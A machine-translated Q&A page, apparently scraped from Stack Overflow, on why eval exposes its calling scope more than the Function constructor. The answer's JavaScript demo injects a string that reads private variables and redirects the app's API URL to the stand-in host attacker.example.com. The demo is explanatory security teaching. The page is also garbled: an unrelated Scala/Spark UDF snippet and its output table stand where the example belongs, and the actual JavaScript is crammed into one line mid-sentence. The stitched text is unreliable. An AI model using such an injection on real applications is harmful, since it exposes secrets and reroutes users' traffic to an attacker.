评估与函数构造函数

时间:2019-03-09 07:08:54

标签: javascript function security eval

我正在阅读有关MDN的eval,似乎表明eval“更好” 替代方案是使用function constructor。 MDN似乎强调指出,与eval相比,使用函数构造函数的安全风险较小:

  

第三方代码可以查看eval()的调用范围,   可能以类似的方式导致可能的攻击   功能不敏感。

     

- MDN

“第三方代码可以看到调用eval()的范围”究竟是什么意思?以及它如何影响我的JS应用程序的安全性?

1 个答案:

答案 0 :(得分:1)

在此场景中,如何使用eval解析输入的示例暴露并损害了应用程序的所有私有范围。

import spark.implicits._   
import org.apache.spark.sql.functions._

val df = sc.parallelize(Seq(
    ("r1", 1, 1),
    ("r2", 6, 4),
    ("r3", 4, 1),
    ("r4", 1, 2)
  )).toDF("ID", "a", "b")

val uniqueVal = df.select("b").distinct().map(x => x.getAs[Int](0)).collect.toList    
def myfun: Int => List[Int] = _ => uniqueVal 
def myfun_udf = udf(myfun)

df.withColumn("X", myfun_udf( col("b") )).show

+---+---+---+---------+
| ID|  a|  b|        X|
+---+---+---+---------+
| r1|  1|  1|[1, 4, 2]|
| r2|  6|  4|[1, 4, 2]|
| r3|  4|  1|[1, 4, 2]|
| r4|  1|  2|[1, 4, 2]|
+---+---+---+---------+

使用app = (function(){ // my app with all its shiny little secrets // stored in private variables var secret = 42; var apiUrl = "/api/"; return { withEval(input){ var someObject = eval(input); console.log("withEval", someObject); if(apiUrl === "/api/"){ console.log("xhr to", apiUrl); }else{ console.warn("xhr to", apiUrl); } }, withFunction(input){ var someObject = Function("return(" + input+")")(); console.log("withFunction", someObject); if(apiUrl === "/api/"){ console.log("xhr to", apiUrl); }else{ console.warn("xhr to", apiUrl); } }, } })(); var malware = `(${ ()=>{ try { console.warn("found secret", secret); } catch(err){ console.error(err); } try { console.warn("found apiUrl", apiUrl); } catch(err){ console.error(err); } apiUrl = "http://attacker.example.com/"; }})(),{ foo: 13, bar: 42 }`; console.log(malware); app.withFunction(malware); console.log("-----------------"); app.withEval(malware);,您的“机密”会被暴露,例如id,令牌,...,甚至“ apiUrl”也已更改,因此您的所有api调用现在都可以在某些攻击者的网页上往返。

您的代码甚至不会引发错误;我已经在控制台中记录了这些错误。